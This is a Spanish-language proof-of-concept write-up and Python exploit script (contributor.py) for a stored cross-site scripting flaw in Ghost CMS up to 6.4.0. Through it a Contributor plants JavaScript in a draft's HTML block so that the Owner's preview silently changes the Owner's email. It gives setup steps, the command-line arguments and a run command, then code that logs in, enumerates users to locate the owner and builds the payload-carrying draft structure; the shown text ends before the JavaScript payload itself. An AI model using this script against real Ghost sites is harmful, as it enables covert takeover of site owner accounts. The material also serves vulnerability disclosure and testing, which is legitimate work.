
PoC de Escalada de Privilegios de Ghost CMS
PoC de Escalada de Privilegios en Ghost CMS
En Ghost Foundation Ghost CMS hasta la versión 6.4.0, el bloque HTML dentro del editor de borradores de publicaciones no sanitiza ni codifica correctamente el contenido proporcionado por el usuario, lo que resulta en una vulnerabilidad de cross-site scripting (XSS) almacenado. Un usuario con privilegios de Colaborador puede inyectar JavaScript arbitrario en un borrador, que se ejecuta cuando es visto por la cuenta Propietario. Esto permite al atacante realizar acciones privilegiadas en el contexto del Propietario.
Para demostrar la vulnerabilidad, es necesario configurar una instancia local de Ghost CMS con dos cuentas:
Cuenta Propietario: creada automáticamente durante la instalación de Ghost.
Cuenta Colaborador: creada por el Propietario invitando a un nuevo usuario. Ghost envía un Magic Link al correo electrónico del Colaborador para completar la configuración de la cuenta.
Debido a que esto se realiza localmente, se debe instalar una herramienta de captura de correo electrónico como MailHog (por ejemplo, mediante Docker). Esto permite interceptar localmente el Magic Link enviado por Ghost, para que el Colaborador pueda activar su cuenta por sí mismo.
Una vez que ambas cuentas están activas, se puede usar el script de explotación (contributor.py). El script requiere las credenciales de inicio de sesión del Colaborador y la nueva dirección de correo electrónico que se asignará a la cuenta del Propietario después de una explotación exitosa.
Los parámetros del script son:
-u / --username Nombre de usuario del Colaborador (correo electrónico)
-p / --password Contraseña del Colaborador
-e / --new-email Nueva dirección de correo electrónico que se establecerá en la cuenta del Propietario
--url URL de la instancia de Ghost (opcional)
Para ejecutar el script en la terminal, use:
python3 contributor.py -u '[email protected]' -p 'wojtek123!@#' -e '[email protected]'
Cuando se ejecuta, el script crea automáticamente un nuevo borrador de publicación que contiene el payload malicioso de JavaScript dentro del bloque HTML vulnerable.
Para activar el XSS almacenado, el Propietario solo necesita previsualizar el borrador abriéndolo en el panel de administración de Ghost y haciendo clic en "Preview". El script inyectado se ejecuta en segundo plano con los privilegios del Propietario, y el Propietario no es notificado de que su dirección de correo electrónico ha sido cambiada.
import requests
import json
import argparse
class GhostCMSSession:
def __init__(self, ghost_url="http://localhost:2368"):
self.ghost_url = ghost_url.rstrip('/')
self.api_url = f"{self.ghost_url}/ghost/api/admin"
self.session = requests.Session()
self.authenticated = False
self.current_user = None
self.owner_user = None
self.session.headers.update({
'Origin': self.ghost_url,
'Accept': 'application/json',
'Content-Type': 'application/json'
})
def login(self, username, password):
"""Login to Ghost with username and password"""
login_url = f"{self.api_url}/session/"
payload = {"username": username, "password": password}
try:
response = self.session.post(login_url, json=payload)
if response.status_code == 201:
print(f"✓ Successfully logged in as {username}")
self.authenticated = True
self.current_user = self.get_current_user()
self.owner_user = self.get_owner_user()
return True
else:
print(f"✗ Login failed: {response.status_code}")
return False
except Exception as e:
print(f"✗ Login error: {str(e)}")
return False
def get_current_user(self):
"""Get current user information"""
if not self.authenticated:
return None
try:
url = f"{self.api_url}/users/me/?include=roles"
response = self.session.get(url)
if response.status_code == 200:
data = response.json()
user = data['users'][0]
print(f"\n Current User: {user.get('name', 'Unknown')}")
print(f" Email: {user.get('email', 'Unknown')}")
print(f" User ID: {user.get('id', 'Unknown')}")
if 'roles' in user and user['roles']:
role = user['roles'][0]
if isinstance(role, dict):
print(f" Role: {role.get('name', 'Unknown')}")
return user
return None
except Exception as e:
print(f" Error fetching user: {str(e)}")
return None
def get_owner_user(self):
"""Fetch all users and find the owner - return full user object"""
if not self.authenticated:
return None
try:
print(f"\n Fetching all users to find owner...")
url = f"{self.api_url}/users/?include=roles"
response = self.session.get(url)
if response.status_code == 200:
data = response.json()
users = data.get('users', [])
print(f" Found {len(users)} users")
for user in users:
if 'roles' in user and user['roles']:
role = user['roles'][0]
role_name = role.get('name', '').lower() if isinstance(role, dict) else str(role).lower()
print(f" - {user.get('name')} ({user.get('email')}) - Role: {role_name}")
if role_name == 'owner' or role_name == 'administrator':
print(f"\n ✓ Found Owner: {user.get('name')} (ID: {user.get('id')})")
print(f" Slug: {user.get('slug')}")
print(f" Email: {user.get('email')}")
return user
return None
return None
except Exception as e:
print(f" ✗ Error fetching users: {str(e)}")
return None
def create_lexical_with_html(self, html_content):
"""Create Lexical format with HTML node (as a JSON string)"""
lexical_structure = {
"root": {
"children": [
{
"type": "html",
"version": 1,
"html": html_content,
"visibility": {
"web": {
"nonMember": True,
"memberSegment": "status:free,status:-free"
},
"email": {
"memberSegment": "status:free,status:-free"
}
}
},
{
"children": [],
"direction": None,
"format": "",
"indent": 0,
"type": "paragraph",
"version": 1
}
],
"direction": None,
"format": "",
"indent": 0,
"type": "root",
"version": 1
}
}
return json.dumps(lexical_structure)